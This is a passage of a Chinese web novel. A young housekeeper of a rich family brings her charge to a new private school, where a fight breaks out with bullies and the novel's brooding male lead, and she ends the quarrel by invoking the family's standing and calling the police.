等会议室只留下两人,陆宣转过椅子坐下,将墨镜扔在桌上:“你听听陆尽之说的是什么话?” 众所周知,他自己拍戏挣的钱都不够他开瓶酒。 陆尽之要停他的卡?! 他怎么敢的! 虽然陆尽之跳级后,大学期间已经开始接手集团的相关事宜了,但这么多年来从来不管家里的大小事,更别提要管他们的钱了,现在是在发什么神经。 当初他因为进圈的事跟老头吵架离家出走,陆尽之在国外连问都不问一句,现在就因为这么两句话要报复他么? 不可能。 陆宣不信。 他沉默好久,忽然扭头问:“你知道陆尽之的保险柜密码吗?” 回想了一下,家里过去应该只有乔梧跟陆尽之说的话最多。 乔梧:“……” 她无奈摇头:“就算知道,他也不会在保险柜里放银行卡和钱。” “他应该还没这么闲。”陆宣自我安慰。 乔梧不置可否。 据她对陆尽之了解来看,陆尽之从来不跟人开玩笑,说到做到。 不过要是把陆宣的卡停了,至少他没有那个资本跟剧情里面一样去包养小明星,这样也不错。 所以乔梧并不打 算提醒他早做准备。 公司这边会议室的监控很快就传到了陆江的手上,虽然有心试探,但实际上乔梧的表现跟他预想的差不多,甚至要好。 当初他有心要培养乔梧时,就希望有一天她能成长成这样。 尤其是看到陆尽之居然听了全程并且没有表达任何异议以后就更觉得自己做了件对的事,要知道他这个二儿子一直都很挑剔。 到了现在,他才真正开始去思考乔梧说的话。 可事实上自从当初理念不合,老二平静地出了国后,父子两就再也没联系过,要知道老二的消息还得通过秘书。 哪怕是这次让他回来,也是谢意告知的,当时老二只回复了个“好”字就再无其他。 陆江头疼得很,又拉不下自己的老脸。 良久,他才想到了一个绝佳的主意,十分没有心理包袱的拨了个电话。 还好,没有被拉黑。 电话一通,他也不等对面的人说话,直接就说:“小梧让我问问你,要不要趁着你回国的时机办一个晚宴,让大家认识认识你。” 陆尽之:“……” 他有时候怀疑,陆家的血脉是不是被人下了什么诅咒。 陆宣能长成今天这样,陆江的基因也功不可没。 如果国内那些跟陆氏有交集的人还没认识他,那他这么多年白干了?用得着什么晚宴。 但拒绝的话到了嘴边,他忽然记起这个问题里的另外一个名字。 乔梧。 在空白的纸上写下这个名字,他看了几秒,低低应了声。 “嗯。”- 第二天,陆家佣人看着两个少爷和小小姐一大早就准时坐在了餐厅里,一个个耳观鼻鼻观心大气都不敢喘。 小乔管家回国两个礼拜,竟然能把这几个混世魔王治得服服帖帖,起这么早一个个都没有任何怨言,甚至脸上还发着红光,到底是用了什么手段?!不得了不得了。 很怪。 当几人吃完早餐和乔梧一起出门时,竟然有种很奇怪的感觉。 就像以前大家还小的时候每天一起手拉手上学一样,现在还多了个小的。 总之就是,心情还不错。 乔梧要送陆柠去新学校,但另外两个同样去“上学”的她也没忽略,转头叮嘱:“路上小心,遇到什么事别冲动,先冷静下来过过脑子,如果中午不想吃外面的东西,提前两小时给家里打电话让他们送过去,至于你……” 她望向陆宣:“不能在外面喝太多酒。” 到时候任人宰割。 陆宣轻啧一声,关上车窗按了声喇叭后扬长而去。 陆应池紧跟在后,只是开出去两步又退回来,指着陆柠的鼻子:“再让老子知道你那么窝囊,下次连你一起揍。” 陆柠:“?” 她被喷了一脸的车尾气,抬头问:“他是不是在鼓励我打人?” “他是担心你会被欺负。”乔梧当了个自动翻译机,“他的嘴就那样,你又不是不知道?不然会被机器人打吗。” 陆柠哼哼:“那我原谅他了。” 她很好奇乔梧会给自己选一个什么学校,还是像过去那样校门没有陆应池车屁股大的吗?没想到居然是以前陆应池上的贵族私立。 “你不是说这种学校的学生都很虚伪吗?”她满脑袋雾水,“还说这里拼的都是爹。” “有能力拼为什么不拼?”乔梧理所当然道,“本身也是你的。” 私立学校也分中下等。 像这种给贵族小孩上的学校,师资力量一流,不管是接触到的人还是能够得上的眼界,都远远超过普通学校,陆柠不是普通人家的小孩,当然有权利和能力在这学习。 但陆柠被自力更生洗脑太久,皱眉:“那这还叫独立吗?” “等你长大了有的是时间证明自己独立。”乔梧推了她一把,“虽然能进这个学校的门槛是因为家里,但值不值得这份教育,还要看你自己,有钱并不是一件令人羞耻的事情。” 陆柠眼神怪异:“你有双重人格吗?” 说的话一天一个样。 “你就当是吧。” 陆柠背着书包进学校,走了两步发现不对,她回头:“你还跟着我做什么?我又不是三岁小孩,不至于找不到路。” 乔梧失笑,俯身替她整理了一下衣领,温声说:“哪有自家小孩转学第一天自己去找老师的,我们家又不是没人了。” 女人身上淡淡的书卷味侵入鼻腔。 这原本是陆柠最讨厌的味道,她讨厌一切跟知识有关的东西,更不喜欢书本上难呛的油墨味,可为什么乔梧身上的会那么好闻? 像是翻开了一本崭新的、画满了春意盎然鲜花绿丛的画本,让人沉迷惊艳。 陆家是有人,但其实跟没人也没区别。 在以前那个学校,初一开学当天也是她自己一个人去的,七拐八拐还迟到了,开学第一天就跟人起了冲突。 等她放学回家,偌大的一个陆宅除了佣人,没一个让她觉得有安全感的人。 她只能回到房间自己用好几个创可贴拼起来贴在自己的伤口上,再安静睡觉。 而不是像今天,有人送她过来,还有人在临走之前,让她好好保护自己。 陆柠忽然安静下来,双手紧紧抠着书包带,盯着乔梧细瘦却挺拔的后背,跟在她身后一起走到办公室。 两人才走到门口,就看见外面靠墙垂着脑袋站着个高高的男生,书包的带子已经坏了,连带着整个包都被他扔在脚边,半开的书包松松垮垮地散落出书本一角,但他显然没有要捡起来的意思。 陆柠忍不住多看了两眼,因为这个位置以前通常都是她站的。 没想到作为一个局外人看居然是这种感觉。 等下,有点眼熟。 她心里忽然涌起一股不详的预感,这人怎么那么像初一开学那天跟她打了一架的那个拽逼兮兮的狗币? 忽的,办公室的门被人从里面打开。 一双被西装裤裹得格外修长的腿走了出来,年轻男人穿着手工自制的西装,头发被打理得一丝不苟,只是领带被他扯得歪七扭八,他一边开门一边解着衬衫扣子,没料到外面还站着其他人,他动作顿了顿,略抬起眼。 在看到门口站着的人时,他目光停滞了一瞬。 女人眸色轻敛,亭亭玉立,望过来的一瞬间好像就给她目之所及之处打上一层淡淡的光幕。 乔梧也没想到会在这里遇到原书男主钟闵,但她在最初的惊讶后就没太在意,礼貌颔首:“借过。” 钟闵回过神,侧身让开路。 借此机会陆柠赶紧走到另外一边,借着乔梧的身体挡住自己的脸。 她不是怕那个狗币,只是担心开学第一天再惹出什么事来,乔梧就不答应跟她去逛街了。 门内老师早早就等待在那,见人进去了,一边笑着走来相迎一边关门:“是陆柠吧?那您是?” 在门合上的一瞬间,钟闵听到里面传来女人清疏含笑的声音:“乔梧。” 他不由回头又看了一眼。 可除了漆黑冰冷的门板,什么也没看到。 从兜里摸出一根烟咬上,但顾及到这里是学校他又忍着没点燃,只是心里越来越烦躁。 尤其是想到一会儿要去面对那些油嘴滑舌满脸虚伪的老东西,就更烦了。 他还是没有办法适应这种被领带束缚的生活,像他这样的人就本就是生活在阴沟沟里的臭虫,再怎么打扮也没有办法像… 像刚才那人一样。 从骨子里就透出一种他永远也达不到的自信和高傲。 他踢了墙边的男生一脚:“把东西捡起来,走了。” 男生慢吞吞将书包捡起来,忽然道:“是她。” “谁?” “陆柠。” 钟闵皱眉:“刚才进去那小孩?” “嗯。” 钟闵突兀地笑了声。 他当然记得这个陆柠是谁,钟时 夏入学第一天就跟她起了冲突,当时对方家长面都没露,但陆柠直接朝他脸上砸了一万块钱。 陆柠有钱有势,学校也不会把她怎么样,但钟时夏却退了学。 想到这儿,钟闵狠狠地咬了一口烟,拍拍弟弟的肩膀:“晚点我来接你放学。” 从办公室出来后,陆柠没有再看到刚才那个人了。 她松了口气,拽住要走的乔梧:“做事要有始有终。” 乔梧问:“怎么?” “下午来接我放学。”陆柠非常会得寸进尺,“陆宣去公司你都车接车送,我上学第一天你不接吗?” 今天乔梧并不是很忙,于是点头:“好。” 回到陆宅,得知陆尽之居然答应了要在回国的时候举办欢迎晚宴,乔梧有些惊讶。 不过还是翻阅了一下之前父亲和谢意给她的那些名单,并不是什么人都要往家里请。 上面的这些公司和家族,乔梧大致都有印象。 只是在看到钟家的时候,她眉梢轻轻扬了扬,想到今天在学校遇到的钟闵,原文中的男主。 严格意义来说,钟闵过去并不是钟家的孩子,他是私生子。 钟家的家庭结构比较复杂,钟氏集团的总裁叫钟茹,是个女强人,当初丈夫也是入赘钟家,两人婚后没几年感情破裂貌合神离,只有早年育有一女钟禾静。 钟茹一直将钟禾静当做自己的继承人来培养,但她没想到现在的女儿却身体一天不如一天,已经无法再继续高强度的工作。 所以钟茹这才把钟闵接回家。 钟闵是钟茹与丈夫感情破裂那段时间跟外人结合留下的孩子。 但她的丈夫并不愿意离婚,两人暗地里闹得相当难看。 钟茹原本已经做好了等孩子秘密生下来跟对方打官司的准备,没想到却发现她的情人只是为了她的钱才跟她在一起,私底下已经出轨很久了。 但当时她已经没有办法将孩子打掉,只能生下来以后让人抱去了福利院,她觉得这是自己荒唐的耻辱,也是因为在孕期接二连三焦虑导致她再也不能生育。 现在钟禾静生病,她才不得已让人找到了钟闵,把他接回钟家培养。 钟闵流落在外期间有一个没有血缘的弟弟相依为命,钟茹也是因为这个才拿捏住了钟闵,答应把那个孩子一起接回去。 现在的钟家跟陆氏还没有水火不容,也在受邀名单当中。 所以今天学校里遇到的,是钟闵和他的弟弟钟时夏。 陆柠曾经跟钟时夏起过冲突,所以钟闵得到钟家大权后,一直都对陆家怀有偏见。 只是那个时候的陆柠没有转学,所以后来跟钟时夏没有太多交集,没想到现在居然转到同一个学校去了。 这本书之所以是狗血文,狗血程度完全在男主和女主身上。 钟闵因为身世和生长环境,长得很歪,价值观也比较扭曲,被钟茹逼得很厌世,在没有遇到女主之前,他生命中最重要的也只有弟弟钟时夏。 现在他也才二十出头,大学都没读完,正是被钟茹逼到绝路上又无可奈何的时候。 乔梧忍不住蹙眉,看来的确有必要去接一接陆柠。 另一头的学校里,陆柠度过了长这么大以来最认真的一天。 虽然老师说的她一个字没听懂,但至少她的视线没离开过多媒体,甚至还装模做样地留下了今日作业。 私立学校的教学体系跟普通学校完全不同,放学也很早。 所以她早早收拾好东西就准备去学校门口等乔梧。 哪想到一转身,就见教室后门倚了个人。 她紧了紧手:“真的是你。” 钟时夏将书包扔在地上:“你还记得我?” “你找我做什么?” “还钱。”钟时夏说,“当初你给了我一万块,多了,剩下的一直没找到机会还。” “有空吗?”他问。 第18章 第十八章二更 陆柠想也不想:“没空。” 她清楚地记得自己当初为什么跟这个人起冲突。 当时她刚进校门,周围的人三两成群,家长们在外面殷切叮嘱,看得她心烦意乱,所以只顾着闷头往里走,连自己走到哪里都不知道,转了好久,天还下着雨。 后来她气得一点都不想去上课,打着伞蹲在某一个小花园旁边扔石子玩,扔着扔着就砸到人了,谁知道这个男生会蹲在草丛里。 他当时也是用这种很无所谓的看垃圾的眼神看着她:“你打的?” “我又不是故意的,谁让你蹲在那里不吭声,算你倒霉。”陆柠心情正差着,被他那眼神激得更是火冒三丈,“你看我干什么?有本事你打回来。” 男生听了以后看了她好几秒,然后真的朝她走了过来,还真的要动手。 陆柠就从来没有在这方面落过下风,所以她干脆利落将自己的伞扣在他脑袋上,埋头一撞,把人摔得一屁股坐进泥堆里。 男生更生气了,所以两人就这么打了起来。 到最后谁也没占着便宜,男生把他哥哥叫了过来,陆柠思来想去只能给乔梧打电话,但乔梧告诉她这个学校里的学生都是普通人,给点钱就能打发。 听那个男生说让她赔衣服,所以陆柠直接去学校门口那个银行的自动取款机取了一万块钱,一股脑全砸他们身上,自己转身就跑了。 后来她就没在学校里见过这个男生,没想到能在这里遇见。 同样是来学校第一天,这是什么冤孽。 “没关系。”钟时夏说,“只是还个钱而已。” 他在裤子里掏了掏,拿出了一叠红钞票,陆柠瞪大眼睛。 除了红色的那些,她还看见上面有零有整蓝蓝绿绿的钱,居然还踏马有两个一块钱硬币! “那件衣服18块,裤子30。”钟时夏语气没什么起伏,站在她面前一点点将钱数得清清楚楚明明白白,“鞋25。” 陆柠觉得这人就是故意的:“你怎么不把袜子内裤算上?” 哪里想到钟时夏看她一眼,淡声说:“旧的,不算钱。” 陆柠:“……?” 她一下子不知道这人是不是在跟她开玩笑,二十多块的衣服真的能穿? 以前打过的那些人,谁不是大几千大几万找她要。 这人现在找上门说是还钱,但书包都扔了,这架势跟来算账有什么区别。 “你侮辱谁呢?我就没赔过你这么便宜的。”她做了几下深呼吸:“你别惹我,我现在没有时间跟你扯皮,一会儿这钱还要给你赔医药费,让开,我耐心有限,别让我说第二遍。” 陆柠侧了点方向,打算推开他走出去。 但手还没碰到对方就被对方捏住了,她眼睁睁看着男生举起另一只拿钱的手,像过去她把钱砸在他身上一样,将那些钱全都砸在了她头顶。 硬币砸在她脑门上,把她最后的理智都给砸没了。 她呼吸忽然停住一瞬。 一张五块钱慢悠悠从脑袋顶上飘下来,落在她的手臂,又飘在地面。 所以这人果然是来找事儿的。 陆柠忍不了了,再忍就是孙女! 反正是陆应池说的,不能那么窝囊。 她反手按住男生的手,给人摁在了教室后门上,恶狠狠道:“你踏马是不是听不懂人话?非要撩闲是不是?” 说着又一脚踹上男生小腿。 周围看热闹的人群顿时欢呼起来,越闹越起劲。 陆柠:“就这点本事还敢来惹我……” 说话间她对方的手反到后背,瞬间将她一扯,力道大得吓人。 陆柠瞬息间就被人反按在了门上,侧脸被砸得生疼,小腿上也被这个男生反踹了一脚。 她气得眼泪都出来了,她明明已经说要好好上学,怎么非要有人来惹她! 就在这时,男生的动作一松:“你哭什么?” 钟时夏皱眉,怎么每次都这样,明明是她先打的人,他还没哭她倒是哭了 。 陆柠刚要狡辩,可在周围看热闹的同学顿时一窝蜂就冲了上来。 她还没反应过来,钟时夏就被扯开推到在地。 那些人将她护在身后,一个个围着钟时夏。 “钟时夏,欺负新同学算什么本事?有本事来打我们啊。” “是啊,不是挺厉害的么,来来来,让我看看你有多能耐。” 陆柠抹了把眼睛。 这个狗币叫钟时夏啊。 她的事从来都是自己处理,从不牵扯别人。 而且在以前的学校听惯了别人怎么对她说话,所以也分得清这些人说话的语气是好是坏,这些人的语气让她很不舒服,甚至比那个拿钱砸她的钟时夏更恶劣。 短短几秒间,已经有人的拳头砸向了钟时夏。 被推倒的钟时夏也已经站了起来,皱着眉去拦住别人的拳头。 “住手!”陆柠推开那些人:“你们干什么?” “新同学,我们这是在替你出气,你急什么?” “我的事我自己处理。”陆柠站到钟时夏面前,“用不着你们动手。” “又来了个神经病。”为首那人骂了一声,“行啊,那你们打吧,我们不动手行吧?” 陆柠怒道:“看我的热闹?滚!” 一群人再次起哄,但谁也没有要离开的意思,倒是为首那个男生反而越凑越近:“不滚又怎么样?话说你叫陆柠,你谁啊?我长这么大还没人敢叫我滚,你算什么东西?小爷今天就在这儿看着谁敢走,我让我爸整死你们,知道我爸是谁吗?” 这瞬间陆柠终于明白,换了个地方果然说话的人都不一样。 以前那些人只会管她要钱,现在倒是有人敢跟她拼爹了。 第一次听说,真可笑。 她冷哼:“知道我家管家是谁吗?” 所有人:“???” 陆柠说:“我打架从来不看爹,只看你身上的部位都值多少钱,所以要么滚开,要么报卡号。” 众人:“……” 什么鬼,新来的不仅是个神经病,口气还挺大。 一时之间大家居然被唬住,面面相觑。 只有一个仿佛一直在人群外游离的人突然从后面发出平静的声音。 “这次的裤子有点贵,折损费可能要几千。”钟时夏说,“但是算上我踹你的,扯平了。” 陆柠:“……” 她难以置信地回头,居然没有在钟时夏的脸上看到一点开玩笑的成分。 找到了。 这世界上居然还有比喝醉的陆宣还读不懂气氛的人! 旁边那些还以为这两人故意的,瞬间被激怒冲了上来。 陆柠心道,这次可不怪我,然后卷起袖子就上了。 结果看到身后的人也跟她一样,原本还要打架的,现在居然一起跟别人打起来了。 陆柠有点走神,怎么她现在觉得身边的人一个比一个奇怪。 虽然是来接钟时夏放学,但钟闵来了以后直接就进了学校,他觉得以这个弟弟的性子,可能又要出什么意外。 两人以前是同一个孤儿院的,钟时夏先天就比同龄人要迟钝一点。 倒不是智商,事实上他很聪明,只是性格很直来直去,一根筋,根本听不懂别人话里话外的深意,所以从小没少因为这个跟人有矛盾,也因此没什么朋友。 弟弟初一刚进学校的时候,钟闵花钱给他买了很廉价的一套衣服,没想到开学第一天就跟人打架了。 对方甩给他一万块钱,他就认认真真去把衣服换了,剩下那些钱就一直留到现在,等着还给人家,还把人家的名字记得清清楚楚。 所以今天钟闵听到他说陆柠的时候就觉得不好。 陆柠这个小孩他那时就觉得是被家里娇养惯了的,脾气不好,也不会好好说话,现在中途转学过来,到底是什么情况还真不好说。 所以钟闵这才决定来接人放学。 当然,他心里也存了其他意思。 哪怕那个陆柠再怎么混账,他今天也不会退让的,钟茹利用弟弟把他像狗一样看管着,他也不会让钟茹好过。 那个陆柠他查过,是陆家的孩子。 要是跟陆家有了冲突,钟茹也很棘手吧。 果不其然,钟闵才走到教学楼下就听到楼上传来了喧闹声,他快步跑上去,一眼就看到了人群里的弟弟。 但是情况怎么……有点不一样? 怎么回事?不是应该跟陆柠打起来了吗? 怎么现在是跟陆柠一起打别人了! “草。” 早上钟闵才被老师叫来学校说弟弟跟学校的人相处不好,现在就看到弟弟被群殴。 前些年因为照顾弟弟流离失所的匪气在这瞬间就冒了出来,钟闵咬着烟冲上去:“**崽子,谁踏马让你们动他的?!” 乔梧打不通陆柠电话来到楼上时,战况基本已经到了尾声。 看着眼前的一幕,她眉心跳了又跳,差点没崩住表情。 一群小孩趴在地上哭爹喊娘,说要叫自己的爸爸过来。 其中有三个人极其显眼突出,他们分别坐在一个小孩身上,一只手按一个,像打了胜仗的公鸡,趾高气昂。 还有一个甚至在温吞吞捡地上被踩得乱七八糟的钱。 跑过来的值班老师满脸空白,手忙脚乱。 旁边的保安更是冤枉,一边拉人一边给老师解释,他们来得很快,但没想到这几个人结束战斗也很快! 乔梧闭了闭眼:“陆柠,过来。” 被保安拉起来的陆柠缩了缩脖子,但很快就硬气了,她气鼓鼓地指着钟时夏:“我真的没有要打架!是他先拿钱砸我的!你看你看,脑袋都被硬币砸红了。” 正在捡钱的钟时夏抬起头来,认真纠正:“我没有砸你,我在还钱。” “谁还钱是用砸的!” 钟时夏不解:“你那次也是这么给我的。” 他还回去有什么错吗? “那你砸回来吧。”钟时夏将硬币递给她。 陆柠一噎,立刻扭头告状:“你看,他还挑衅我!” 乔梧:“……” 她将陆柠带到自己身侧站着,望向在场唯一一个大人,却是加入战场的大人,怎么看这场景怎么眼熟。 “那这位是?” “噢,我记得他。”今天早上陆柠忙着躲钟时夏倒是没注意看这个男人,现在她知道了,“他是钟时夏的哥哥,帮我们一起打架的。” 乔梧理了一下思路:“所以钟时夏来找你还钱,但是你们打架了,他哥哥过来,还帮着你们打架?” 这句话到底哪里理得通? 人太多了,干脆最后就在教室里解决。 作为最早到场的家长,乔梧拉开其中一张椅子坐下,陆柠现在没那么有底气了,乖乖坐在她身边:“真的不是我打架,这些人好奇怪,我都不认识他们,他们非要来找我的事儿,陆应池说了我不能窝囊,所以……” 说到这里,她觉得也不止是自己一个人的锅,所以又道:“如果我的钱不够,你找陆应池要一点吧,这里的学生应该比之前那个学校贵。” 旁边正在通知其他学生家长的老师表情惊恐:“!!!” 见过不少纨绔,第一次见到这么恐怖的纨绔! 这是什么奇怪的价值衡量方式! “还成。”乔梧失笑,“至少现在知道找小叔了。” “那不是因为有他教唆么。” 乔梧揉揉她的脑袋:“好好学习语文,别什么词都往自家人身上用。” 陆柠被撸得很舒服,抬起小鹿眼,扭捏地问:“你不生气?” “不是你的错,我生气什么?”乔梧半分目光都没挪向其他那些人的孩子,笑意不减,“放心,整个陆家都是 你的后盾。” 整个陆家。 陆柠吞了吞口水。 第一次觉得陆这个姓氏听起来这么亲切:“第一次觉得仗势欺人这么舒心。” “乖。”乔梧叹了口气,“回去我给你买一本成语词典。” 相比之下同样被叫了家长的钟氏两兄弟表情就淡定得多。 虽然有点意外,但相比之下同时得罪这么多人,钟茹应该更麻烦,所以钟闵心情还不错。 他正在打量坐在对面的一大一小。 早上那一面他就觉得这个人的气质是他最不喜欢的那一类,有了先入为主的概念,甚至觉得陆柠以前那样都是她教的。 可他却没忽略掉这个女人一出现,陆柠就很紧张地解释自己没有犯错。 而且这个人说话的语气跟他想象中的高高在上不一样,甚至算得上温和,只不过她身上的气质与生俱来,所以哪怕是带着笑意也不会让人觉得好接近。 这么年轻的人,是陆柠的姐姐? 正想着,那几个打完电话叫家长的几个小孩就叫起来了。 “我爸要来了,你们等着!” 陆柠不甘示弱:“我家管家已经来了!你不用等了!” 这话一出,所有人脸上都露出了错愕的表情。 钟闵愣愣地看着这个光芒万丈的女人,她竟然只是一个管家?! “管家?”那个小孩一听就笑了,“我还以为是谁呢,一个管家而已,你得意什么,谁家没有管家一样。” “不一样!我家……” 乔梧拍了拍她的肩膀:“歇会吧。” 说完望向那个小孩:“你父亲是?” “我爸是骆氏建工的董事长骆志华!” 乔梧有印象,拟邀名单里是有这么一个,说明对方公司也不算小,但只是在末尾,不过无足轻重。 她没再搭理那个孩子,而是看向陆柠:“他讨厌吗?” 陆柠毫不犹豫点头:“讨厌!” “为什么觉得他讨厌?” “他很莫名其妙。”陆柠被引导着下意识认真回答,“说奇怪的话来找茬,明明是他犯了错还把他爸爸搬出来,好像自己很有钱就能随便欺负人一样。” “那你会变成他这样的孩子吗?” 陆柠刚要说话,却像是被人当头打了一棒。 她仰着头望向乔梧,却没在那双眼里看到一点责备。 甚至乔梧说的是“会变成”,而不是肯定句“已经是”。 她以前,难道也是这样吗? 她怔怔摇头:“不要。” 真的很讨厌。 “嗯。”乔梧笑了,“好孩子,以后不要跟他朋友。” 让她来这个学校,能看到跟自己差不多阶层的人,她才会知道千人千面。 “喂,你没听到小爷说话吗!你到底是什么管家,懂不懂事!” 被忽略的小孩气得满脸通红。 恰好他父亲这时来到教室门口,一看儿子被打成这样气不打一出来:“到底是谁干的,我今天看看谁到底这么有本事敢动……” 他说着就看到了坐在后门的乔梧,话音一顿。 乔梧施施然起身,略一点头:“骆先生。” 骆志华拿不准她是哪边的:“你是?” “我是陆家的管家。” “陆家?” 骆志华害怕的陆家只有一个,但是那家的管家已经老了,怎么可能是这么个年轻女人。 所以他立刻硬气起来:“你家干的?那又怎么样,我儿子今天少了一根头发,我都要你十倍还回来!” 乔梧轻笑:“所以您是不打算跟我讲道理了?” “你有什么资格跟我讲道理?”骆志华把自家儿子拽过来,“现在动手,我看看谁敢拦你!” 他儿子趾高气昂上前,刚抬起手就被一只纤细有力的手给掐住了手腕。 “疼疼疼!!!” “你还敢动手?!” 骆志华两眼一瞪就要上前。 见状旁边的钟闵皱了下眉,下意识往前走了一步。 可没等他动手,就见看起来瘦瘦弱弱的女人轻松桎梏住了这个矮胖的男人,手臂上的薄肌线条看起来十分美观。 钟闵目光轻轻一颤。 乔梧以前跟着陆家几兄弟学过一点格斗,也算是学来给自己防身用的,对付这些酒囊饭袋绰绰有余。 她按住了骆志华的手臂后扭,不徐不疾道:“既然不讲道理讲资格,那骆总怕是要失望了。” 乔梧缓缓问:“我们老先生最近身体不好,家里大小事都全权交给了我,陆总马上要从英国回来举办一个晚宴,我是拟订名单的人,您猜您在名单上的哪个位置?” 破口大骂的骆志华瞬间失了声。 几个关键词组起来,除了他心里那个,就没有任何一个陆家能这么完美契合。 “你说的是,哪个陆总?陆尽之?” 乔梧莞尔:“您说呢?” “如果陆总还没回国就知道自己唯一的侄女入学第一天被人找茬欺负。” 她顿了顿,微叹:“挺糟糕的。” 骆志华彻底慌了:“不不不,不是这样,一定有什么误会,您先放开我,我们慢慢解释!” 乔梧挑了下眉,松开手。 没等骆志华开口,她继续道:“我家陆柠今天第一天上学,跟同学处理私事,没想到您的小孩也感兴趣想来插一脚,还扬言让我们陆柠看看他爸爸的厉害。” 骆志华脸色一白。 “您有多厉害?”她笑问。 “不,不厉害!”骆志华按住自己的儿子,“还不赶紧来道歉!” 陆柠别开脑袋:“他们也找了钟时夏麻烦的!” “钟……钟时夏?” 这踏马又是谁?! 算了,先道歉! 骆志华按着儿子又来到了钟家兄弟面前。 钟闵神色复杂地望向乔梧。 跟他想象中一点都不一样,这人笑意盈盈三言两语甚至言语中没有一点冒昧就能让人知道她的地位她的厉害。 这真的是一个管家该有的气场? 跟她比起来,刚打了一场胜仗的他显得那么狼狈。 这时其他几个学生的家长也陆续到了。 钟闵转过头。 他原本以为会是钟茹来,可没想到出现在门口的人却是钟禾静。 钟闵脸色微微一变,站起身来:“怎么是你?” “妈今天要出差,所以让我过来了。” “不需要。” 钟禾静叹了口气走进教室,扫了一圈所有人后,目光落到了乔梧身上,微微一愣。 “乔梧?” 乔梧微微点头:“钟小姐。” 钟禾静对乔梧印象很深,钟家一向跟陆家有合作关系,所以小时候钟茹会常常让她去陆家玩,毕竟陆家有比她大不了几岁的陆尽之,还有其他几个儿子。 但陆尽之是个天才,还是个难以沟通的天才,嫌弃她很笨,从来不跟她说话。 另外几个孩子那会儿很黏乔梧,所以通常都是乔梧带着她和其他几个孩子一起玩。 但后来每个人渐渐长大,她也懂事知道母亲的用意,所以减少了去那边的次数,至于乔梧…… 钟禾静不是很愿意跟长大后的乔梧在一起玩,对方似乎也很瞧不上她,联系就渐渐少了。 听说乔梧出国了,现在是回来了? 钟禾静最后一次见乔梧的时候是在陆家,她跟在陆尽之身边,满眼都是谄媚。 可对方看自己的眼神就很令人不适,也是因为这个两人几乎不欢而散。 可现在她却在恍惚自己是不是当时看错人了,因为眼前的乔梧沉静又自信,眸色清明,自信明亮,更像小时候记忆深处那个温温柔柔的她。 “真是,好久不见了。”钟禾静下意识说。 “好久不见。”乔梧见她脸色不太好,拉过旁边的椅子,“先坐吧。” “谢谢。”面对这样的乔梧,钟禾静说不出任何重话,她将椅子拉远了点儿,“你怎么在这儿?” “来接陆柠回家。” 钟禾静惊讶:“你来接?” “嗯。”乔梧笑道,“我现在是陆氏的管家。” 钟禾静双眸微微瞪大。 那陆家,岂不是……要完了?! 第19章 第十九章如你所见 出于礼貌,钟禾静并没有对人家的职业发表什么意见,就算以前跟乔梧认识,那也是十来岁左右的事情,何况人心万变,往日之事不可追。 她将注意力放在现场。 钟闵回到钟家并非自愿,所以一直以来都有很强的排斥心理,对待谁的态度都那样,觉得全世界都对不起他。 但从小就在优渥条件下长大的钟禾静并不能共情他,虽然不熟悉,可她最初对钟闵也有姐弟之间的情谊,却也经不住钟闵一而再再而三地挑战她的底线。 作为一个成年人,没有利益价值的衡量,只靠着一腔冲动做事实在是愚不可及,像今天这样给钟茹找不痛快的事情已经不是第一次发生了,所以钟茹现在已经不想再出面管这些小事,推脱让她过来。 进来时她已经听到了骆志华在这儿道歉,心下大概能猜到一些。 当初钟茹就是因为钟时夏是个不太敏感的孩子,所以才利用这个来拿捏住钟闵回到钟家,这段时间以来钟时夏在学校应该没少遇到问题。 但在这种环境下,最后无非就是大人之间的利益交换而已,她摆摆手:“麻烦老师先带孩子出去。” 她不希望自己跟旁人据理力争的时候,被钟闵看见。 已经习惯了处理这些事的老师刚要去带孩子。 乔梧却出声制止了:“等下。” 所有人都看向她。 “为什么要出去?”乔梧坐在陆柠身边,轻轻按住了她手背,“既然做了就要承担,一句道歉值几个钱?既然他们借着自己家世肆无忌惮,那就应该也看看因为这件事他们家付出了什么代价,人外有人天外有天,年纪小又不是什么免死金牌,你觉得呢骆先生?” 骆志华硬着头皮:“我觉得有道理。” 又问:“你们想要什么?” “其他人家的你可以商量,但我们家不要什么。”乔梧说,“我已经报过警了。” “!!!” 就连钟禾静都没想到会是这么个发展。 这学校里孩子发生的大大小小的事情,谁不是默认用资源来解决? 报警……还真是头一次。 骆志华:“报,报警?” 什么时候报的警?!也没听到她打电话啊! “我家小孩好端端放个学,被几个陌生的孩子堵着挑衅动手,我还不能报个警了?”乔梧笑道,“而且是骆先生先选择的,不跟我讲道理,那就只能让别人来讲了。” 她是没亲自打电话,但学校门口有司机,车上有保镖,这不是一个消息的事儿? “别报警!”骆志华真的腿都在抖,说实话像他们做房地产的,最担心跟这些人接触,“我们项目多的是,可以慢慢谈!” “不好意思。”乔梧抬起手,隔空止住对方要走过来的动作,“我家小孩未成年,不懂这些,唯一知道就是被欺负了叫警察叔叔。” “好了,我说完了,至于你们要谈其他的,那就谈吧。” “爸爸!”那几个小孩顿时吓得屁滚尿流。 一群从小被宠坏无法无天的小富二代从来没想过自己有一天会见到警察叔叔,顿时在办公室里鬼哭狼嚎起来。 乔梧不愿再听,她拿起陆柠的书包:“走吧。” “等一下。”钟时夏捧着刚才捡的钱过来,“你的钱。” 钟闵知道弟弟表达能力比较欠缺,板着脸开口:“他只是单纯想要还钱,没有别的意思,这钱他留一年多了,你们不收他会一直惦记着的。” “但是当初的事……”他皱眉,“你是不是该给我们一个说法。” 经过今天这么一遭,陆柠现在有点胆战心惊,她担心自己以后真的在打架,说不准乔梧真的会把她也按在办公室里,让自己看看惹事会付出什么代价。 所以她立刻打断了钟闵:“我知道是我不对在先,但我不知道他在那里,砸到他是我不小心的,而且后来也是他要打回来我才动手的!” “打回来?”钟时夏没有从自己的记忆里找到这么一件事,“我没有要打你。” “我说你有本事打回来,你走过来还抬手了!” 钟时夏唇角绷直绷直:“我是让你看衣服。” 他因为捡东西新衣服被勾破了,所以蹲在那里处理,没想到会被石头打中。 走过去也是要抬手让她看自己被勾破的衣服,表示自己不是故意蹲在那里碰瓷。 没办法,18块钱的衣服真的很脆弱。 哪里想到这个小姑娘突然就动手了,还一边揍他一边哭。 以至于他本来就坏了的衣服又雪上加霜,衣服裤子鞋没一个好的。 听完前因后果,陆柠瞠目结舌:“那你怎么不早说?” 居然真的又18块钱的衣服?! 钟时夏疑惑地看着她:“你没让我说。” 陆柠:“……” 她一把将那零零碎碎的钱给拿了过来,警惕地说:“我现在收下你的钱了,今天的事两清,以后别来找我!” 虽然这些钱对她来说不算什么,但她觉得这人很神经病,要是不收下来以后她说不准每天都会被堵门口。 